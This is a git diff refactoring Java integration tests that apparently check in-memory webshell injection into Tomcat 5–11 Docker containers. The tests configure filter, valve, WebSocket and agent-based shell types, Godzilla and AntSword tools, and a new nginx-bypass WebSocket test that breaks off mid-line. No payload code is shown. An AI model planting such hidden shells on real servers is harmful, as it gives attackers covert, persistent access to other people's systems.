org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat11ContainerTest { - - public static final String imageName = "tomcat:11.0-jre17"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Tomcat11ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.tomcat("tomcat:11.0-jre17") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, + ShellType.JAKARTA_WEBSOCKET, + ShellType.UPGRADE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP, Packers.AgentJarWithJREAttacher)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, + ShellType.JAKARTA_WEBSOCKET + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(tomcatPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Tomcat; - List supportedShellTypes = List.of( - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_VALVE, - ShellType.JAKARTA_PROXY_VALVE, - ShellType.JAKARTA_WEBSOCKET, - ShellType.UPGRADE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJREAttacher); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_VALVE, - ShellType.JAKARTA_PROXY_VALVE, - ShellType.JAKARTA_WEBSOCKET}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V17); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java index 9f1883f7..af36369e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java @@ -1,96 +1,61 @@ package com.reajason.javaweb.integration.memshell.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat11JRE21ContainerTest { - - public static final String imageName = "tomcat:11.0-jre21"; - static Network network = Network.newNetwork(); +public class Tomcat11JRE21ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.tomcat("tomcat:11.0-jre21") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V21) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, + ShellType.JAKARTA_WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP, Packers.AgentJarWithJREAttacher)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, + ShellType.JAKARTA_WEBSOCKET + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); + public static final GenericContainer python = buildPythonContainer(network); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(tomcatPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Tomcat; - List supportedShellTypes = List.of( - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_VALVE, - ShellType.JAKARTA_PROXY_VALVE, - ShellType.JAKARTA_WEBSOCKET, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJREAttacher); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container, python); - } + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_VALVE, - ShellType.JAKARTA_PROXY_VALVE, - ShellType.JAKARTA_WEBSOCKET}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V21); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java index a4a4257c..e6ff169e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java @@ -1,90 +1,54 @@ package com.reajason.javaweb.integration.memshell.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat5ContainerTest { - public static final String imageName = "reajason/tomcat:5-jdk6"; - - static Network network = Network.newNetwork(); +public class Tomcat5ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .tomcat("reajason/tomcat:5-jdk6") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP, Packers.AgentJarWithJDKAttacher)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.SERVLET, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); + public static final GenericContainer python = buildPythonContainer(network); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(tomcatPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Tomcat; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJDKAttacher); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, - ShellType.VALVE, ShellType.PROXY_VALVE}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java index 86dba01e..561e9b73 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java @@ -1,88 +1,53 @@ package com.reajason.javaweb.integration.memshell.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat6ContainerTest { - public static final String imageName = "reajason/tomcat:6-jdk6"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Tomcat6ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.tomcat("reajason/tomcat:6-jdk6") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.SERVLET, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP, Packers.AgentJarWithJDKAttacher)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.SERVLET, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(tomcatPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Tomcat; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.SERVLET, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJDKAttacher); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, - ShellType.VALVE, ShellType.PROXY_VALVE}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java index 65816cfa..7d102940 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java @@ -1,89 +1,56 @@ package com.reajason.javaweb.integration.memshell.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat7ContainerTest { - public static final String imageName = "tomcat:7.0.85-jre7"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Tomcat7ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.tomcat("tomcat:7.0.85-jre7") + .targetJdkVersion(Opcodes.V1_7) + .probeTargetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.SERVLET, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP, Packers.AgentJarWithJREAttacher)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.SERVLET, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.WEBSOCKET + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(tomcatPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Tomcat; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.SERVLET, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE, - ShellType.WEBSOCKET, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJREAttacher); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, - ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java index 9ba38c00..0011e0c1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java @@ -1,91 +1,56 @@ package com.reajason.javaweb.integration.memshell.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat8ContainerTest { - public static final String imageName = "tomcat:8-jre8"; - - static Network network = Network.newNetwork(); +public class Tomcat8ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.tomcat("tomcat:8-jre8") + .targetJdkVersion(Opcodes.V1_8) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.SERVLET, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.WEBSOCKET, + ShellType.UPGRADE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.BigInteger, Packers.AgentJarWithJREAttacher)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.SERVLET, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.WEBSOCKET + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); + public static final GenericContainer python = buildPythonContainer(network); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(tomcatPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Tomcat; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.SERVLET, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE, - ShellType.WEBSOCKET, - ShellType.UPGRADE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE); - List testPackers = List.of(Packers.BigInteger, Packers.AgentJarWithJREAttacher); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); - } + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, - ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_8); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8WebSocketBypassNginxTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8WebSocketBypassNginxTest.java new file mode 100644 index 00000000..20241cb1 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8WebSocketBypassNginxTest.java @@ -0,0 +1,112 @@ +package com.reajason.javaweb.integration.memshell.tomcat; + +import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient; +import com.reajason.javaweb.godzilla.GodzillaManager; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ServerType; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.GodzillaConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.tuple.Pair; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.ComposeContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.io.File; +import java.io.IOException; + +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author ReaJason + * @since 2026/1/13 + */ +@Testcontainers +@Slf4j +public class Tomcat8WebSocketBypassNginxTest { + + public static final String imageName = "tomcat:8-jre8"; + + @Container + public static final ComposeContainer compose = + new ComposeContainer(new File("docker-compose/tomcat/docker-compose-8-jre8-nginx.yaml")) + .withExposedService("tomcat", 8080, Wait.forHttp("/app/")) + .withExposedService("nginx", 80); + + public static String getUrl() { + String host = compose.getServiceHost("nginx", 80); + int port = compose.getServicePort("nginx", 80); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @Test + public void testWs() { + String url = getUrl(); + String server = ServerType.TOMCAT; + String serverVersion = "Unknown"; + int targetJdkVersion = Opcodes.V1_8; + String shellType = ShellType.BYPASS_NGINX_WEBSOCKET; + String shellTool = ShellTool.Command; + Packers packer = Packers.Base64; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, 